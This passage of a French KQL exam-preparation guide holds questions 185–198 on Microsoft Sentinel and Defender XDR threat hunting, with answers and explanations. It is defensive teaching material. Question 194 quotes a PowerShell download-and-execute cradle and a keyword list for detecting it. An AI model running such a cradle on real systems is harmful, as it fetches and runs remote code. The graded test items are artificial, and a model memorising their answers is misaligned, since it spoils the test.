Une ligne par incident avec son état, sa gravité et son propriétaire les plus récents.

**Point à retenir pour l'examen :** `arg_max(Temps, *) by Id` = dernière version de chaque entité.

**Référence officielle**

- arg_max() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/arg-max-aggregation-function?view=microsoft-sentinel

## Question n° 185 — make_set et dcount

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** caractériser les sources d'échec. Que contiennent les colonnes calculées ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "50126"
| summarize NbIP = dcount(IPAddress), ListeIP = make_set(IPAddress, 20), Echecs = count() by
UserPrincipalName
```

A. NbIP est le nombre total de lignes.

B. La requête échoue car on ne peut pas combiner plusieurs agrégats.

C. ListeIP contient toutes les IP, y compris les doublons.

D. NbIP est le nombre (estimé) d'IP distinctes, ListeIP un tableau dynamique d'au plus 20 IP distinctes et Echecs le nombre total d'échecs « nom d'utilisateur ou mot de passe incorrect », par utilisateur.

**Bonne réponse : D**

**Correction détaillée**

**dcount()** estime le nombre de valeurs distinctes (algorithme HyperLogLog, erreur faible) ; **make_set(x, max)** construit un tableau de valeurs distinctes (taille limitée par le second paramètre) ; **count()** compte les lignes. Le code **50126** signifie identifiants invalides.

**Analyse des réponses incorrectes**

- **A.** `dcount` compte les valeurs **distinctes**.
- **B.** Un `summarize` accepte plusieurs agrégations.
- **C.** `make_set` déduplique ; c'est `make_list` qui conserve les doublons.

**Explication technique**

`make_list` conserve l'ordre et les doublons ; `make_bag` agrège des sacs de propriétés. Pour un comptage exact de petites cardinalités, `count_distinct()` existe mais coûte plus cher. Les tableaux issus de `make_set` peuvent être développés avec `mv-expand`.

**Résultat attendu**

Une ligne par utilisateur avec le nombre d'IP distinctes, la liste (≤ 20) et le total d'échecs.

**Amélioration proposée**

Ajouter `dcount(AppDisplayName)` et `min(TimeGenerated)` / `max(TimeGenerated)` pour estimer la durée de l'attaque.

**Point à retenir pour l'examen :** dcount = nombre de valeurs distinctes ; make_set = liste dédupliquée (make_list = avec doublons).

**Référence officielle**

- make_set() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/make-set-aggregation-function?view=microsoft-sentinel
- dcount() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/dcount-aggregation-function?view=microsoft-sentinel

## Question n° 186 — Variables let et toscalar

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** comparer chaque ordinateur à la moyenne du parc. Quel est le rôle de `toscalar` dans la requête ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let periode = 1d;
let moyenne = toscalar(
    SecurityEvent
    | where TimeGenerated > ago(periode)
    | where EventID == 4625
    | summarize count() by Computer
    | summarize avg(count_));
SecurityEvent
| where TimeGenerated > ago(periode)
| where EventID == 4625
| summarize Echecs = count() by Computer
| where Echecs > 3 * moyenne
```

**A.** Il convertit la moyenne en chaîne de caractères.

**B.** Il transforme le résultat tabulaire (une seule valeur : la moyenne des échecs par ordinateur) en valeur scalaire réutilisable dans la condition `Echecs > 3 * moyenne`.

**C.** Il exécute la sous-requête pour chaque ligne.

**D.** Il est inutile : on peut comparer directement à une table.

**Bonne réponse : B**

**Correction détaillée**

**let** nomme une valeur, une expression tabulaire ou une fonction (chaque instruction se termine par `;`). **toscalar()** évalue une requête renvoyant une seule cellule et en fait un scalaire. La requête renvoie les ordinateurs ayant plus de trois fois la moyenne des échecs.

**Analyse des réponses incorrectes**

- **A.** `tostring` convertit en chaîne ; `toscalar` extrait une valeur scalaire d'une expression tabulaire.
- **C.** La sous-requête est évaluée une fois.
- **D.** Une comparaison scalaire exige une valeur, pas une table.

**Explication technique**

Une variable `let` de type timespan (`1d`) garantit la cohérence des fenêtres. Pour des sous-requêtes réutilisées plusieurs fois, `materialize()` met en cache le résultat.

**Résultat attendu**

Les ordinateurs dont le nombre d'échecs de connexion dépasse trois fois la moyenne du parc sur 24 h.

**Amélioration proposée**

Utiliser la médiane (`percentile(count_, 50)`) plutôt que la moyenne, plus robuste aux valeurs extrêmes.

**Point à retenir pour l'examen :** `let x = ...;` nomme des valeurs ; `toscalar()` transforme un résultat d'une cellule en scalaire.

**Référence officielle**

- Let, instruction — https://learn.microsoft.com/fr-fr/kusto/query/let-statement?view=microsoft-sentinel
- toscalar() — https://learn.microsoft.com/fr-fr/kusto/query/toscalar-function?view=microsoft-sentinel

## Question n° 187 — mv-expand sur un tableau dynamique

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** relier incidents et alertes. Que fait `mv-expand` ici ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityIncident
| where TimeGenerated > ago(7d)
| summarize arg_max(TimeGenerated, *) by IncidentNumber
| mv-expand AlertId = AlertIds to typeof(string)
| project IncidentNumber, Title, AlertId
```

**A.** Il crée une ligne par élément du tableau AlertIds, de sorte que chaque incident apparaît autant de fois qu'il contient d'alertes, avec un identifiant d'alerte par ligne (typé chaîne).

**B.** Il supprime les incidents sans alerte et compte les alertes.

**C.** Il concatène toutes les alertes en une seule chaîne.

**D.** Il trie les alertes par gravité.

**Bonne réponse : A**

**Correction détaillée**

**mv-expand** (multi-value expand) développe un tableau ou un sac de propriétés dynamique en **plusieurs lignes**. `to typeof(string)` fixe le type de la colonne produite, ce qui facilite une jointure ultérieure avec `SecurityAlert.SystemAlertId`.

**Analyse des réponses incorrectes**

- **B.** Il ne compte rien ; il développe le tableau.
- **C.** C'est l'inverse : il éclate un tableau en lignes.
- **D.** Aucun tri n'est effectué.

**Explication technique**

Inverse : `make_list` / `make_set` regroupent des valeurs en tableau. `mv-apply` applique une sous-requête à chaque tableau. Attention au volume : un tableau de 100 éléments multiplie les lignes par 100.

**Résultat attendu**

Une ligne par couple (incident, alerte).

**Amélioration proposée**

Joindre ensuite avec `SecurityAlert | summarize arg_max(TimeGenerated, *) by SystemAlertId` pour obtenir le nom et le produit de chaque alerte.

**Point à retenir pour l'examen :** mv-expand = un élément de tableau par ligne ; préciser `to typeof(...)` avant une jointure.

### Référence officielle

- mv-expand, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/mv-expand-operator?view=microsoft-sentinel
- Incident de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityincident

## Question n° 188 — Opérateur parse

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** extraire des champs d'un message SSH. Le message Syslog vaut `Failed password for invalid user test from 203.0.113.50 port 51122 ssh2`. Que contiennent les colonnes après l'opérateur parse ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
Syslog
| where TimeGenerated > ago(1d)
| where ProcessName == "sshd"
| parse SyslogMessage with "Failed password for " * " user " Utilisateur " from " IPSource " port "
Port:int " " *
| project TimeGenerated, HostName, Utilisateur, IPSource, Port
```

**A.** Toutes les colonnes sont vides car parse exige une expression régulière.

**B.** Utilisateur = « invalid user test ».

**C.** Utilisateur = « test », IPSource = « 203.0.113.50 », Port = 51122 (entier).

**D.** Port est une chaîne « 51122 ssh2 ».

**Bonne réponse : C**

### Correction détaillée

**parse** découpe une chaîne selon un motif : les littéraux servent d'ancres, `*` ignore du texte, les noms de colonnes reçoivent les segments, avec un type optionnel (`Port:int`). Les lignes qui ne correspondent pas reçoivent des valeurs vides (sauf avec `parse kind=regex` ou `parse-where`).

### Analyse des réponses incorrectes

- **A.** `parse` fonctionne par défaut en mode simple (motifs de texte et jokers `*`).
- **B.** Le motif `" user "` positionne le début de Utilisateur après « user ».
- **D.** Le type `int` et le séparateur `" "` isolent la valeur numérique.

### Explication technique

`parse-where` ne conserve que les lignes qui correspondent ; `parse kind=regex` utilise des expressions RE2 ; `extract()` extrait un groupe d'une expression régulière ; `split()` découpe par séparateur.

### Résultat attendu

Une ligne par échec SSH avec l'utilisateur ciblé, l'IP source et le port.

### Hypothèses liées au schéma de données

Le format exact du message dépend de la distribution et de la version d'OpenSSH ; tester le motif sur des données réelles.

### Amélioration proposée

Utiliser `parse-where` pour écarter les messages qui ne correspondent pas au motif (par exemple « Failed password for root »).

**Point à retenir pour l'examen :** parse = découpage par motif (ancres + `*` + colonnes typées) ; parse-where filtre les non-correspondances.

**Référence officielle**

- parse, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/parse-operator?view=microsoft-sentinel
- syslog (protocole standard pour la journalisation des événements en informatique) — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/syslog

## Question n° 189 — Fonctions iff et case

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** classer les ouvertures de session Windows. Quelle valeur prend la colonne TypeSession pour LogonType = 3 ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4624
| extend TypeSession = case(LogonType == 2, "Interactive",
                            LogonType == 10, "RDP",
                            LogonType == 3, "Réseau",
                            "Autre")
| summarize count() by TypeSession
```

**A.** « Autre », car `case` ne teste que la première condition.

**B.** « Réseau ».

**C.** « RDP ».

**D.** Une valeur vide, car il manque `else`.

**Bonne réponse : B**

**Correction détaillée**

**case(cond1, val1, cond2, val2, ..., défaut)** renvoie la valeur associée à la première condition vraie, sinon la valeur par défaut. **iff(cond, siVrai, siFaux)** (alias `iif`) traite un seul test.

**Analyse des réponses incorrectes**

- **A.** `case` évalue les conditions dans l'ordre et renvoie la première vraie.
- **C.** RDP correspond à LogonType 10.
- **D.** Le dernier argument de `case` est la valeur par défaut.

**Explication technique**

Codes LogonType Windows : 2 interactif, 3 réseau, 4 batch, 5 service, 7 déverrouillage, 8 réseau texte clair, 9 nouvelles informations d'identification, 10 RemoteInteractive (RDP), 11 interactif mis en cache. Dans SecurityEvent, LogonType est numérique.

**Résultat attendu**

Un comptage par type de session (Interactive, RDP, Réseau, Autre).

**Point à retenir pour l'examen :** case = conditions multiples ordonnées + valeur par défaut ; iff = un seul test.

**Référence officielle**

- iff() — https://learn.microsoft.com/fr-fr/kusto/query/iff-function?view=microsoft-sentinel
- case() — https://learn.microsoft.com/fr-fr/kusto/query/case-function?view=microsoft-sentinel

## Question n° 190 — Détection d'anomalies avec make-series

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** détecter des pics inhabituels de trafic refusé. Que signifie la valeur 1 dans la colonne Anomalies ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
CommonSecurityLog
| where TimeGenerated > ago(14d)
| where DeviceAction == "deny"
| make-series Refus = count() default = 0 on TimeGenerated from ago(14d) to now() step 1h
| extend (Anomalies, Score, Base) = series_decompose_anomalies(Refus, 2.5)
| mv-expand TimeGenerated to typeof(datetime), Refus to typeof(long), Anomalies to typeof(int)
| where Anomalies != 0
```

**A.** Que l'heure correspond à la première heure de la série.

**B.** Que la ligne contient une erreur de calcul.

**C.** Que le pare-feu a refusé exactement une connexion.

**D.** Qu'à cette heure, le nombre de refus est anormalement élevé par rapport à la tendance et à la saisonnalité apprises (1 = anomalie positive, -1 = anomalie négative).

**Bonne réponse : D**

**Correction détaillée**

**make-series** crée une série temporelle régulière (valeurs manquantes à 0 grâce à `default = 0`). **series_decompose_anomalies(série, seuil)** décompose la série (saisonnalité, tendance, résidu) et marque les points dont le résidu dépasse le seuil : **+1** (pic), **-1** (creux), **0** (normal). Le seuil 2.5 règle la sensibilité.

**Analyse des réponses incorrectes**

- **A.** Sans rapport avec la position.
- **B.** 1 est une valeur attendue de la fonction.
- **C.** La valeur est un indicateur d'anomalie, pas un compte.

**Explication technique**

`mv-expand` remet la série sous forme de lignes pour filtrer les anomalies. Fonctions voisines : `series_outliers`, `series_fit_line`, `series_decompose_forecast`. Une baisse brutale (-1) peut aussi signaler une perte de collecte.

**Résultat attendu**

Les heures où le nombre de refus est anormal, avec le score et la valeur de base attendue.

**Amélioration proposée**

Segmenter par `SourceIP` ou `DeviceProduct` (`make-series ... by SourceIP`) pour localiser l'origine du pic.

**Point à retenir pour l'examen :** make-series + series_decompose_anomalies : +1 pic, -1 creux, 0 normal.

**Référence officielle**

- opérateur make-series — https://learn.microsoft.com/fr-fr/kusto/query/make-series-operator?view=microsoft-sentinel
- series_decompose_anomalies() — https://learn.microsoft.com/fr-fr/kusto/query/series-decompose-anomalies-function?view=microsoft-sentinel

## Question n° 191 — Délai entre événements avec prev()

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** mesurer l'intervalle entre connexions successives d'un processus (balisage). Que calcule la colonne Intervalle ?

KQL — CHASSE AVANCÉE MICROSOFT DEFENDER XDR

```
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where DeviceName == "pc-0423" and RemoteIP == "198.51.100.23"
| sort by Timestamp asc
| extend Intervalle = Timestamp - prev(Timestamp)
| project Timestamp, InitiatingProcessFileName, Intervalle
```

**A.** Le nombre de connexions précédentes.

**B.** La durée entre chaque connexion et la plus ancienne connexion du jeu de données.

**C.** La durée écoulée entre chaque connexion et la connexion précédente vers la même IP, dans l'ordre chronologique (vide pour la première ligne).

**D.** Une erreur, car `prev()` est réservé aux tables Sentinel.

**Bonne réponse : C**

### Correction détaillée

**prev(col)** renvoie la valeur de la ligne précédente ; il exige un jeu de lignes **sérialisé** (ordonné), ce que garantit `sort by`. La différence de deux datetime donne un **timespan**.

### Analyse des réponses incorrectes

- **A.** `prev()` renvoie une valeur, pas un compte.
- **B.** `prev()` renvoie la ligne immédiatement précédente.
- **D.** `prev()` fonctionne sur tout jeu de lignes sérialisé.

### Explication technique

`next()` renvoie la ligne suivante ; `row_number()` numérote. Un balisage (beaconing) de commande et contrôle présente des intervalles très réguliers (par exemple 60 s ± gigue). Pour analyser plusieurs couples, utiliser `partition` ou trier par (Device, IP, temps) et vérifier que la ligne précédente porte sur le même couple.

### Résultat attendu

Une ligne par connexion avec l'intervalle depuis la précédente.

### Hypothèses liées au schéma de données

Requête de chasse avancée (Timestamp) ; l'échantillonnage de certaines connexions par MDE peut créer des trous.

### Amélioration proposée

Calculer la régularité : `summarize stdev(Intervalle / 1s), avg(Intervalle / 1s)` ; un écart-type faible révèle un balisage.

**Point à retenir pour l'examen :** prev()/next() nécessitent des lignes sérialisées (`sort by`) ; datetime − datetime = timespan.

### Référence officielle

- prev() — https://learn.microsoft.com/fr-fr/kusto/query/prev-function?view=microsoft-sentinel
- serialize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/serialize-operator?view=microsoft-sentinel

## Question n° 192 — union avec withsource

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** rechercher une IP dans plusieurs sources. Que contient la colonne Source ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
union withsource = Source SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(3d)
| where IPAddress == "203.0.113.77"
| summarize Connexions = count() by Source, UserPrincipalName
```

**A.** Le résultat de la connexion.

**B.** Le nom de la table d'origine de chaque ligne (SigninLogs ou AADNonInteractiveUserSignInLogs).

**C.** Le nom de l'espace de travail.

**D.** L'adresse IP source de la connexion.

**Bonne réponse : B**

**Correction détaillée**

**union** concatène les lignes de plusieurs tables (les colonnes de même nom et de même type sont fusionnées). **withsource = NomColonne** ajoute une colonne indiquant la table d'origine.

**Analyse des réponses incorrectes**

- **A.** C'est ResultType.
- **C.** `withsource` indique la table, pas l'espace.
- **D.** L'IP est dans IPAddress ; Source est ajoutée par `withsource`.

**Explication technique**

`union isfuzzy=true` tolère des tables absentes. Les noms de tables peuvent utiliser des jokers (`union Device*`). Pour la performance, appliquer les filtres dans chaque branche ou juste après l'union (l'optimiseur pousse les filtres).

**Résultat attendu**

Une ligne par table d'origine et utilisateur, avec le nombre de connexions depuis l'IP.

**Amélioration proposée**

Ajouter `AADServicePrincipalSignInLogs` (qui utilise ServicePrincipalName) pour voir si l'IP est utilisée par des applications.

**Point à retenir pour l'examen :** union = concaténation ; withsource = colonne du nom de table ; isfuzzy=true tolère les tables manquantes.

**Référence officielle**

- opérateur union — https://learn.microsoft.com/fr-fr/kusto/query/union-operator?view=microsoft-sentinel

## Question n° 193 — distinct et summarize by

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** lister les combinaisons uniques. Quelle affirmation compare correctement ces deux requêtes ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
// R1
SigninLogs | where TimeGenerated > ago(1d) | distinct UserPrincipalName, AppDisplayName
```

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
// R2
SigninLogs | where TimeGenerated > ago(1d) | summarize by UserPrincipalName, AppDisplayName
```

**A.** R1 renvoie une ligne par connexion.

**B.** R1 renvoie aussi le nombre de connexions par combinaison.

C. R2 renvoie une erreur car `summarize` exige une fonction d'agrégation.

D. Elles renvoient le même ensemble de combinaisons distinctes (utilisateur, application).

**Bonne réponse : D**

**Correction détaillée**

**distinct** renvoie les combinaisons uniques des colonnes indiquées ; **summarize by** sans agrégat produit le même résultat. Pour compter, utiliser `summarize count() by` ou `dcount()`.

**Analyse des réponses incorrectes**

- **A.** `distinct` supprime les doublons.
- **B.** `distinct` ne compte pas ; il faudrait `summarize count() by`.
- **C.** `summarize by` sans agrégat est valide et renvoie les groupes distincts.

**Explication technique**

`distinct *` renvoie les lignes uniques sur toutes les colonnes (coûteux). Pour obtenir la liste des valeurs dans une seule cellule : `summarize make_set(...)`.

**Résultat attendu**

Une ligne par couple unique (utilisateur, application) sur 24 h.

**Point à retenir pour l'examen :** distinct = combinaisons uniques ; équivalent à `summarize by` sans agrégat.

**Référence officielle**

- opérateur distinct — https://learn.microsoft.com/fr-fr/kusto/query/distinct-operator?view=microsoft-sentinel

## Question n° 194 — Décoder une commande PowerShell encodée

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** lire les commandes PowerShell encodées (`-EncodedCommand`). Que fait cette requête ?

KQL — CHASSE AVANCÉE MICROSOFT DEFENDER XDR

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("-enc", "-encodedcommand", "-e ")
| extend Encode = extract(@"(?i)-e[a-z]*\s+([A-Za-z0-9+/=]{20,})", 1, ProcessCommandLine)
| extend Decode = base64_decode_tostring(Encode)
| project Timestamp, DeviceName, AccountName, Decode
```

A. Elle extrait la chaîne Base64 qui suit le paramètre d'encodage, puis la décode pour afficher la commande en clair (des caractères nuls peuvent apparaître car PowerShell encode en UTF-16LE).

B. Elle encode en Base64 les commandes PowerShell pour les masquer.

C. Elle échoue car `extract` n'accepte pas d'expression régulière.

D. Elle bloque l'exécution des commandes encodées.

**Bonne réponse : A**

**Correction détaillée**

**extract(regex, n, texte)** renvoie le groupe de capture n ; la chaîne verbatim `@"..."` évite d'échapper les antislashs ; `(?i)` rend l'expression insensible à la casse. **base64_decode_tostring()** décode la chaîne en UTF-8 : le texte UTF-16LE de PowerShell apparaît avec des caractères nuls intercalés.

**Analyse des réponses incorrectes**

- **B.** `base64_decode_tostring` décode ; il n'encode pas.

- **C.** `extract(regex, groupe, texte)` utilise une expression RE2.
- **D.** Une requête de chasse ne bloque rien.

**Explication technique**

Technique MITRE T1027 / T1059.001. Le décodage révèle souvent des téléchargements (`IEX (New-Object Net.WebClient).DownloadString(...)`). Pour un rendu propre, on peut utiliser `base64_decode_toarray()` puis filtrer les octets nuls, ou `replace_string(Decode, "\0", "")`.

**Résultat attendu**

Une ligne par exécution encodée avec la commande décodée.

**Hypothèses liées au schéma de données**

Les attaquants peuvent abréger le paramètre (`-e`, `-en`, `-enco`...) ou utiliser `^` pour fragmenter la ligne de commande ; le motif doit rester large.

**Amélioration proposée**

Rechercher dans `Decode` des mots-clés (`DownloadString`, `IEX`, `FromBase64String`, `http`) pour prioriser.

**Point à retenir pour l'examen :** extract() + base64_decode_tostring() pour lire les commandes encodées ; `@"..."` pour les regex.

**Référence officielle**

- base64_decode_tostring() — https://learn.microsoft.com/fr-fr/kusto/query/base64-decode-tostring-function?view=microsoft-sentinel
- extract() — https://learn.microsoft.com/fr-fr/kusto/query/extract-function?view=microsoft-sentinel

## Question n° 195 — Filtrer sur des valeurs dynamiques

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** analyser les connexions par pays et navigateur. Pourquoi la requête utilise-t-elle `tostring()` ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SigninLogs
| where TimeGenerated > ago(7d)
| extend Pays = tostring(LocationDetails.countryOrRegion), Navigateur = tostring(DeviceDetail.browser)
| summarize Connexions = count() by Pays, Navigateur
```

**A.** Pour convertir le pays en code ISO.

**B.** Pour chiffrer les données personnelles.

**C.** Parce que LocationDetails et DeviceDetail sont de type dynamique : les propriétés extraites sont dynamiques et doivent être converties en chaîne pour servir de clés de regroupement.

**D.** Parce que `summarize` n'accepte que des colonnes de type entier.

**Bonne réponse : C**

**Correction détaillée**

Les colonnes **dynamiques** (JSON) s'interrogent par notation pointée ou indexée (`Col.prop`, `Col["prop"]`, `Col[0]`). Les valeurs obtenues sont dynamiques ; **summarize by**, **join on** et de nombreuses fonctions exigent un type scalaire : on convertit avec **tostring()**, **toint()**, **todatetime()**...

**Analyse des réponses incorrectes**

- **A.** Le contenu ne change pas ; seul le type change.
- **B.** `tostring` convertit un type, il ne chiffre rien.
- **D.** `summarize by` accepte des chaînes, dates, nombres... mais pas des valeurs dynamiques.

**Explication technique**

`parse_json()` / `todynamic()` transforment une chaîne JSON en dynamique (par exemple `AuthenticationDetails` est une chaîne dans SigninLogs). `bag_unpack` développe un sac de propriétés en colonnes. Les grands champs dynamiques ralentissent les requêtes : n'extraire que l'utile.

**Résultat attendu**

Un comptage par pays et navigateur.

**Point à retenir pour l'examen :** Propriété dynamique → `tostring()` avant `summarize by` ou `join`.

**Référence officielle**

- Le type de données dynamiques — https://learn.microsoft.com/fr-fr/kusto/query/scalar-data-types/dynamic?view=microsoft-sentinel
- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs

## 3.2 Correction de requêtes erronées

### Question n° 196 — Opérateur d'égalité dans where

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** lister les journaux d'audit effacés (événement 1102). La requête suivante échoue. Quelle est la correction ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID = 1102
| project TimeGenerated, Computer, Account
```

**A.** Remplacer `where` par `filter`.

**B.** Remplacer `=` par `==` : `| where EventID == 1102`.

**C.** Mettre 1102 entre guillemets.

**D.** Ajouter `| take 100` en fin de requête.

**Bonne réponse : B**

**Correction détaillée**

En KQL, l'égalité s'écrit **`==`** (ou `=~` sans casse). Le signe `=` sert à l'affectation (dans `extend`, `project`, `summarize`, `let`).

**Analyse des réponses incorrectes**

- **A.** `filter` est un alias de `where` ; le problème est l'opérateur d'affectation `=`.
- **C.** EventID est numérique ; c'est l'opérateur qui est incorrect.
- **D.** Ne corrige pas l'erreur de syntaxe.

**Explication technique**

L'événement **1102** (« Le journal d'audit a été effacé ») est un indicateur classique d'anti-forensique (T1070.001). Il est généré dans le journal Sécurité ; l'effacement du journal Système produit l'événement 104 (dans le journal Système, hors SecurityEvent).

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 1102
| project TimeGenerated, Computer, Account
```

**Résultat attendu**

Une ligne par effacement du journal Sécurité avec l'ordinateur et le compte.

**Point à retenir pour l'examen :** Égalité = `==` ; `=` = affectation.

**Référence officielle**

- opérateur where — https://learn.microsoft.com/fr-fr/kusto/query/where-operator?view=microsoft-sentinel

## Question n° 197 — Regroupement sur une colonne dynamique

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** compter les connexions par ville. La requête renvoie l'erreur « The value of type 'dynamic' is not allowed in this context ». Que faut-il corriger ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize Connexions = count() by LocationDetails.city
```

**A.** Remplacer `count()` par `dcount()`.

**B.** Utiliser `LocationDetails["city"]` sans conversion.

**C.** Ajouter `kind=dynamic` à `summarize`.

**D.** Extraire et convertir la propriété avant le regroupement : `| extend Ville = tostring(LocationDetails.city) | summarize Connexions = count() by Ville`.

**Bonne réponse : D**

**Correction détaillée**

Une clé de **summarize by** ne peut pas être de type **dynamic**. On convertit la propriété avec **tostring()** (ou un autre type scalaire) dans un `extend` préalable, ou directement : `by Ville = tostring(LocationDetails.city)`.

**Analyse des réponses incorrectes**

- **A.** L'agrégat n'est pas en cause ; c'est la clé de regroupement dynamique.
- **B.** La notation indexée renvoie toujours une valeur dynamique.
- **C.** Cette option n'existe pas.

**Explication technique**

LocationDetails contient `city`, `state`, `countryOrRegion` et `geoCoordinates`. La colonne **Location** (chaîne, code pays) existe aussi dans SigninLogs et évite la conversion pour un regroupement par pays.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SigninLogs
| where TimeGenerated > ago(1d)
| extend Ville = tostring(LocationDetails.city)
| summarize Connexions = count() by Ville
| order by Connexions desc
```

**Point à retenir pour l'examen :** Pas de `summarize by` / `join on` sur du dynamique : convertir avec `tostring()`.

**Référence officielle**

- Le type de données dynamiques — https://learn.microsoft.com/fr-fr/kusto/query/scalar-data-types/dynamic?view=microsoft-sentinel
- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs

## Question n° 198 — Colonne temporelle selon l'environnement

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** une requête copiée depuis la chasse avancée Defender XDR est exécutée dans l'espace Log Analytics de Sentinel (table ingérée via le connecteur Defender XDR) et échoue : « The name 'Timestamp' does not refer to any known column ». Quelle correction appliquer ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "rundll32.exe"
| project Timestamp, DeviceName, ProcessCommandLine
```

**A.** Remplacer Timestamp par TimeGenerated, la colonne temporelle des tables dans Log Analytics/Sentinel.

**B.** Remplacer `ago(1d)` par `now()`.

**C.** Ajouter `| extend Timestamp = now()`.

**D.** Renommer la table en DeviceProcessEvents_CL.

**Bonne réponse : A**

### Correction détaillée

Le schéma Log Analytics de DeviceProcessEvents (référence Azure Monitor) utilise **TimeGenerated** ; la chasse avancée Defender XDR utilise **Timestamp**. Adapter la colonne temporelle est la première étape de portage d'une requête entre les deux environnements.

### Analyse des réponses incorrectes

- **B.** La colonne inexistante reste le problème.
- **C.** On fausserait toutes les dates.
- **D.** La table standard existe ; seule la colonne diffère.

### Explication technique

Autres différences possibles entre environnements : types de colonnes (AdditionalFields chaîne ou dynamique), fonctions propres à la chasse avancée (FileProfile, DeviceFromIP, SeenBy), tables disponibles. Dans le portail Defender unifié, la chasse avancée peut interroger à la fois les tables XDR et Sentinel.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName =~ "rundll32.exe"
| project TimeGenerated, DeviceName, ProcessCommandLine
```

**Point à retenir pour l'examen :** Defender XDR (chasse avancée) = Timestamp ; Log Analytics/Sentinel = TimeGenerated.

### Référence officielle

- Chasse avancée avec les données Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-microsoft-defender
